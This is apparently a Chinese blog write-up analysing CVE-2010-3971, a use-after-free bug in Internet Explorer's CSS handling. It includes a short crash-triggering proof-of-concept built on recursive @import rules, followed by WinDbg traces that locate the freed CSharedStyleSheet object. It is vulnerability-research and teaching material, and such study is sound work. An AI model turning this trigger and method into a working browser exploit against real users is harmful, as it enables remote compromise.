看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑。于是找来POC,尝试分析一下。

1.漏洞重现

XP SP3+ie6.0环境

poc如下:

poc.htm

<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />

css.css

*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

2.漏洞分析

首先来看漏洞的相关信息

可见是一个UAF漏洞。

用调试器加载POC,调试器断在异常处。用IDA加载mshtml.dll文件,异常位置如图红色部分

注意在这个函数里我们可以看到ecx寄存器未经任何处理就直接拿来使用,说明这是thiscall函数调用。而ecx也就是对象的this指针。

异常是由cmp dword ptr [ecx+14h],1 触发的,其中ecx地址不可读

而ecx的值由edi指定的。再往上看edi又是由[ecx+0b8h]得到的。

绕了这么一大圈,我们可以猜到:

ecx是this指针,edi是对象中的一个指针成员。

而由于UAF漏洞导致这个对象被释放了,所以对象中的数据已经不可靠了,所以这个指针就是个野指针了,所以就会产生异常了。

最近学到了UAF漏洞的要点是搞清楚三点:1.对象何时何处被分配? 2.对象何时何处被释放? 3.对象何时何处被重用?

这里触发异常明显就是因为被重用了。那么前两点的答案呢?我们继续分析。

我们理一理思路,考虑一下。此时这个函数发生异常,说明对象已经被释放了,说明释放操作就发生在当前步骤之前,就是说我们可以通过回溯找到释放的操作。

事实的结果是回溯不到那个释放的函数。说明我这个想法并不能成功,于是通过分析该对象(CStyleSheet)的方法来找出释放的位置。

因为我们知道要想释放这个对象肯定要使用这个对象自己的提供的方法,那么就可以通过对释放的方法下断点来实现。

重新分析这个漏洞,win7 x86 +ie8环境。加载poc,程序崩溃。挂载windbg,启用ust,开启子进程调试,发现异常信息如下。

:> r
eax= ebx=17ef8f90 ecx=7770316f edx= esi= edi=1817cff0
eip=678b610d esp=045ed620 ebp=045ed62c iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CSharedStyleSheet::Notify+0x1b:
678b610d 8b0f mov ecx,dword ptr [edi] ds::1817cff0=????????

看一下edi的来源问题,如下所示。可见edi来自于ecx+0xd8。又由于这是CSharedStyleSheet对象的一个方法函数,根据调用约定我们就可以知道,这个ecx就是对象的this指针。

:> ub 678b610d
mshtml!CSharedStyleSheet::Notify+0x6:
678b60f6 push esi
678b60f7 8bb1d0000000 mov esi,dword ptr [ecx+0D0h]
678b60fd push edi
678b60fe 8bb9d8000000 mov edi,dword ptr [ecx+0D8h]
678b6104 33c0 xor eax,eax
678b6106 c1ee02 shr esi,
678b6109 85f6 test esi,esi
678b610b 7e12 jle mshtml!CSharedStyleSheet::Notify+0x37 (678b611f)

为此,猜测edi是ecx对象的一个成员

:> dc ecx
7770316f 900008c2 8508458b c6850fc0 .........E......
7770317f 8000034b 7400e67d ccb7ff0b e8000000 K...}..t........
7770318f ffff39ad 8c5d89c3 850fc085 fffffe26 .....].....&...
7770319f 870fda3b fffffe16 04b04583 8bb0458b ;........E...E..
777031af e1eb4300 00b06890 d8680000 .C.......h....h.
777031bf e8777008 ffff39f1 8bc45589 e05d89d9 .pw.....U....].
777031cf 8941c933 45c6bc4d ff3300df 89d07d89 .A.M..E....}..
777031df 7d89d87d 907d89a8 0f60c2f7 850f7d01 }..}..}...`..}..

为了验证我们的猜想我们来看一下分配记录,由分配的记录来看我们可以这个是CSharedStyleSheet对象,其实作为CSharedStyleSheet::Notify的this指针传进来的也只能是CSharedStyleSheet对象。

:> !heap -p -a ecx
address 17590f08 found in
_DPH_HEAP_ROOT @
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
178624ac: 17590f08 f8 -
mshtml!CSharedStyleSheet::`vftable'
77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77737d96 ntdll!RtlpAllocateHeap+0x000000c4
777034ca ntdll!RtlAllocateHeap+0x0000023a
685144dc mshtml!CSharedStyleSheet::Create+0x00000023
68513eaa mshtml!CStyleSheetArray::CreateNewStyleSheet+0x00000054
685266a7 mshtml!CLinkElement::HandleLinkedObjects+0x0000032f
68526576 mshtml!CLinkElement::Notify+0x0000011a
6850780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf
68506bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a
684f77cf mshtml!CHtmPost::Broadcast+0x0000000f
684f7924 mshtml!CHtmPost::Exec+0x00000255
684f8a99 mshtml!CHtmPost::Run+0x00000015
684f89fd mshtml!PostManExecute+0x000001fb
684f7c66 mshtml!PostManResume+0x000000f7
685113f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010
684f53fc mshtml!CDwnChan::OnMethodCall+0x00000019
685994b2 mshtml!GlobalWndOnMethodCall+0x000000ff
685837f7 mshtml!GlobalWndProc+0x0000010c
774286ef USER32!InternalCallWinProc+0x00000023
77428876 USER32!UserCallWinProcCheckWow+0x0000014b
774289b5 USER32!DispatchMessageWorker+0x0000035e
77428e9c USER32!DispatchMessageW+0x0000000f
6b9104a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
6b920446 IEFRAME!LCIETab_ThreadProc+0x000002c1
76b749bd iertutil!CIsoScope::RegisterThread+0x000000ab
768b1174 kernel32!BaseThreadInitThunk+0x0000000e
7770b3f5 ntdll!__RtlUserThreadStart+0x00000070
7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

edi的内存是不可访的,如下所示

:> ? edi
Evaluate expression: = 1817cff0
:> dc edi
1817cff0 ???????? ???????? ???????? ???????? ????????????????
1817d000 ???????? ???????? ???????? ???????? ????????????????
1817d010 ???????? ???????? ???????? ???????? ????????????????
1817d020 ???????? ???????? ???????? ???????? ????????????????
1817d030 ???????? ???????? ???????? ???????? ????????????????
1817d040 ???????? ???????? ???????? ???????? ????????????????
1817d050 ???????? ???????? ???????? ???????? ????????????????
1817d060 ???????? ???????? ???????? ???????? ????????????????
:> !address edi
ProcessParametrs in range 0005a000
Environment 000577b0 in range
: 1817c000 -
Type MEM_PRIVATE
Protect PAGE_NOACCESS
State MEM_COMMIT
Usage RegionUsageIsVAD

到这里其实有点迷茫,因为edi的内存属性不是未分配的,而是已经VAD分配的,但是却没有访问权限。那么看下是不是已释放导致的没有访问权限,也就是启用堆调试才会有的东西。
尝试!heap -p -a一下看看。如下,果然是已经释放的堆内存。

:> !heap -p -a edi
address 1817cff0 found in
_DPH_HEAP_ROOT @
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
17e4298c: 1817c000 0b2 verifier!AVrfDebugPageHeapFree+0x000000c2
ntdll!RtlDebugFreeHeap+0x0000002f
77737aca ntdll!RtlpFreeHeap+0x0000005d
77702d68 ntdll!RtlFreeHeap+0x00000142
76ef3cab ole32!MIDL_user_free+0x00000016
75ad0224 RPCRT4!NdrFreeTypeMemory+0x00000046
75abf26b RPCRT4!NdrPointerFree+0x000000a8
75b34e9e RPCRT4!NdrpFreeParams+0x00000145
75b34949 RPCRT4!NdrpCompleteAsyncServerCall+0x00000145
75b35494 RPCRT4!Ndr64pCompleteAsyncCall+0x00000084
75b35422 RPCRT4!RpcAsyncCompleteCall+0x0000001f
76ea21af ole32!_UpdateResolverBindings+0x00000052
75acfc8f RPCRT4!Invoke+0x0000002a
75b347ea RPCRT4!NdrAsyncServerCall+0x000001e4
75acf34a RPCRT4!DispatchToStubInCNoAvrf+0x0000004a
75b0fb70 RPCRT4!DispatchToStubInCAvrf+0x00000016
75acf4da RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000016c
75acf3c6 RPCRT4!RPC_INTERFACE::DispatchToStub+0x0000008b
75ac3974 RPCRT4!LRPC_SCALL::DispatchRequest+0x00000257
75acf7a4 RPCRT4!LRPC_SCALL::QueueOrDispatchCall+0x000000bd
75acf763 RPCRT4!LRPC_SCALL::HandleRequest+0x0000034f
75acf5ff RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x00000144
75acf573 RPCRT4!LRPC_ADDRESS::HandleRequest+0x000000bd
75acee4f RPCRT4!LRPC_ADDRESS::ProcessIO+0x0000050a
75acece7 RPCRT4!LrpcServerIoHandler+0x00000016
75ad1357 RPCRT4!LrpcIoComplete+0x00000016
776dd3a3 ntdll!TppAlpcpExecuteCallback+0x000001c5
776e0748 ntdll!TppWorkerThread+0x000005a4
768b1174 kernel32!BaseThreadInitThunk+0x0000000e
7770b3f5 ntdll!__RtlUserThreadStart+0x00000070
7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

附此漏洞的有关信息:

1.http://www.topsec.com.cn/aqtb/yjcg/ldyj/967.htm 天融信的分析报告

2.http://cve.scap.org.cn/cve-2010-3971.html SCAP的收录

CVE-2010-3971 CSS内存破坏漏洞分析的更多相关文章

  1. PHP Fileinfo组件越界内存破坏漏洞

    漏洞版本: PHP PHP 5.x 漏洞描述: BUGTRAQ ID: 66002 CVE(CAN) ID: CVE-2014-2270 PHP是一种HTML内嵌式的语言. PHP的file程序在解析 ...

  2. CVE-2013-3346Adobe Reader和Acrobat 内存损坏漏洞分析

    [CNNVD]Adobe Reader和Acrobat 内存损坏漏洞(CNNVD-201308-479) Adobe Reader和Acrobat都是美国奥多比(Adobe)公司的产品.Adobe R ...

  3. Microsoft Internet Explorer内存破坏漏洞(CVE-2013-5052)

    漏洞版本: Microsoft Internet Explorer 6-11 漏洞描述: BUGTRAQ ID: 64126 CVE(CAN) ID: CVE-2013-5052 Internet E ...

  4. Microsoft Internet Explorer 内存破坏漏洞(CVE-2013-3193)(MS13-059)

    漏洞版本: Microsoft Internet Explorer 6 - 10 漏洞描述: BUGTRAQ ID: 61678 CVE(CAN) ID: CVE-2013-3193 Windows ...

  5. CVE-2010-3974 Microsoft Windows多个平台Fax Cover Page Editor内存破坏漏洞

    Microsoft Windows Fax Cover Pages用于个性化传真以及呈现更正式外观的传真传输.         Microsoft Windows XP SP2和SP3,Windows ...

  6. Linux 内核 UFO-非UFO 路径切换内存破坏漏洞的 PoC(CVE-2017-1000112)

    // A proof-of-concept local root exploit for CVE-2017-1000112. // Includes KASLR and SMEP bypasses. ...

  7. CVE-2010-0249 IE8 UAF漏洞分析

    CVE-2010-0249 [CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153) Microsoft Internet Ex ...

  8. Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现

    0x00  漏洞描述 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码.攻击者利用该漏洞无须权限即可实现远 ...

  9. CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析

    [CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110)    Microsoft Wi ...

随机推荐

  1. HDU.1495 非常可乐 (BFS)

    题意分析 大家一定觉的运动以后喝可乐是一件很惬意的事情,但是seeyou却不这么认为.因为每次当seeyou买了可乐以后,阿牛就要求和seeyou一起分享这一瓶可乐,而且一定要喝的和seeyou一样多 ...

  2. [IOI2013]Dreaming

    link 一道非常类似的题目(link) 试题大意 给你一棵含有$n$个节点的有边权森林,问每次连边将会用$L$的代价,问你若此图通过加边成为树时的最小直径.$n \leq 5\times 10^5$ ...

  3. 浅谈cocosd之autorelease\retain\release的理解

    三种情况,引出问题:   1) new出来的对象需要释放,而释放时,如果有其他人引用了这个对象,再次使用这个对象时,则会出现野指针情况. ==> 于是出现了引用计数的释放管理机制. 2) 对于一 ...

  4. ppt述职摘要

    1.工作总结 1)做了什么 2)做的怎么样 3)还要做什么 2.个人成长和团队成长 3.个人目标和团队目标 1)时间+量化(具体说明) 2)预期效果 3)团队凝聚力 4.展望

  5. 「Django」与mysql8连接的若干问题

    1.setting配置 DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', #数据库驱动名 'NAME': 'my_tes ...

  6. 基础知识:BT1120

    今天谈点我所理解的BT1120协议. BT1120是高清晰度电视 (HDTV) 演播室信号数字接口,首先说一下接口标准里面的概念,然后谈谈自己的理解,写这个文章的目的就是解释给自己听的,所以都是一些白 ...

  7. 一小时了解数据挖掘⑤数据挖掘步骤&常用的聚类、决策树和CRISP-DM概念

    一小时了解数据挖掘⑤数据挖掘步骤&常用的聚类.决策树和CRISP-DM概念 接前面系列4篇: 一小时了解数据挖掘①:解析常见的大数据应用案例 一小时了解数据挖掘②:分类算法的应用和成熟案例解析 ...

  8. C++ Arithmetic Exception

    运算异常错误,比如除零错误,浮点数取余等等.

  9. GridControl详解(八)菜单

    菜单控件 拖入窗口中 显示如下 设置popupMenu 设置barManager 设置controller 增加菜单项 弹出配置窗口 一般菜单项设置 对应属性如下: 对应事件: 选择菜单项设置 事件同 ...

  10. LintCode 539: Move Zeroes

    终于下决心开始刷题了! 选择LintCode而不是LeetCode主要是因为LintCode操作更顺手,希望能够坚持下去. 还是循序渐进吧,数据结构和算法的东西很久没碰都很生疏了,先找找感觉. 这是一 ...